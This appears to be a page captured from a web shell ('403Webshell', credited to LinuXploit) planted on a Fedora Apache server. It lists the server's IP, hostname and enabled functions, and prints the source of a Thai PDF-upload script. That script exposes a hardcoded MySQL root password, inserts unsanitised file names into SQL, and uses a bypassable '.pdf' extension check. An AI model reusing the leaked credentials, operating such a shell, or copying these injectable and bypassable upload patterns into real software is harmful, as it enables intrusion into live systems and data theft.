403Webshell
Server IP : 134.236.49.22  /  Your IP : 216.73.216.114
Web Server : Apache/2.2.15 (Fedora)
System : Linux km10.dyndns.org 2.6.31.5-127.fc12.i686.PAE #1 SMP Sat Nov 7 21:25:57 EST 2009 i686
User : apache ( 48)
PHP Version : 5.3.3
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/upload/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/upload//upload2.php
<?
session_start();
session_destroy();
?>
<html>
<head>
<title>อัพโหลดข่าวประกวดราคา สอบราคา</title>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
</head>
<body>
	<?php
	
	
	if (isset($_GET['DateRep'])) $DateRep= $_GET['DateRep'];
	   //echo $DateRep;
	   $y=substr($DateRep,6,4)-543;
	   $d=substr($DateRep,0,2);
	   $m=substr($DateRep,2,4);
	   $DateR=$y.$m.$d;
	   //echo $DateR;
	   
	   
	   if (strpos($_FILES["filUpload"]["name"],'.pdf') >= 1 ){
		
		if(copy($_FILES["filUpload"]["tmp_name"],"myfile/".$_FILES["filUpload"]["name"]))
		{
			//*** Insert Record ***//
			$objConnect = mysql_connect("localhost","root","090407") or die("Error Connect to Database");
			$objDB = mysql_select_db("upload");
			mysql_query("SET NAMES UTF8");
			$strSQL = "INSERT INTO files ";
			$strSQL .="(FilesName,DateReport) VALUES ('".$_FILES["filUpload"]["name"]."','".$DateR."')";
			$objQuery = mysql_query($strSQL);
	   ?>
		   <script language='JavaScript'>
				alert(' Upload Completed' );
				window.location = "delete.php";
			</script>	 
		<?php
		}
	}
?>	
	<script language='JavaScript'>
		alert(' บันทึก pdf เท่านั้น ' );
		 window.location = "upload1.php";
	</script>	
	     
	   

</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit